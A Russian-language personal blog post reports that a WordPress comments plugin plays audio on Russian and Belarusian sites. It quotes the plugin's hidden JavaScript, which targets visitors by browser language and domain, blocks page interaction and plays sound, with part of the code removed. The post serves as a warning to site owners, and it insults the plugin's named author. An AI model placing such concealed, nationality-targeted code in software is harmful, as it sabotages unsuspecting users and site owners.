Что происходит когда кретин начинает писать плагин для WordPress

Всем привет! Случилась у меня сегодня история: при заходе на страницу Контакты запустилось проигрывание аудио файла. Сначала я подумал, что сайт хакнули, поэтому, открыв страницу с помощью пункта меню «Посмотреть код», открыл код страницы и начал внимательно его рассматривать.

Оказалось, кто-то или что-то добавляет ссылку на аудиофайл в конце страницы с тегом audio и он начинает играть.

После этого пошёл отключил все плагины разом и начал их включать по одному.

Хорошо хоть вредитель находится вверху списка плагинов и это плагин Ajaxify Comments от автора Ronald Huereca с мозговым аппаратом облегчённого образца и говорящей фамилией.

Этот кретин догадался вставить следующий код:

// Dear russian users visiting russian sites. Let's have fun.
if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', "".concat(now));
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(() => {
        document.body.style.pointerEvents = 'none';
        /// Код добавления аудио удалён
        document.body.appendChild(audio);
        setTimeout(() => {
          audio.play().catch(() => {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

Для непрограммистов объясняю: это означает для всех русских и белорусских сайтов (а также доменов .su и .рф) добавить аудио файл и запускать его проигрывание в зависимости от текущей даты. Трижды подумайте — нужен ли вам плагин Ajaxify Comments от конченого кретина Ronald Huereca.

Судя по истории github: этот кусок кода добавлен 10 сентября 2023 года. Можете сказать ему спасибо в виде одной звезды в рейтинге на странице плагина.

Комментариев нет. Будьте первым!
Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Личный блог Евгения Жирнова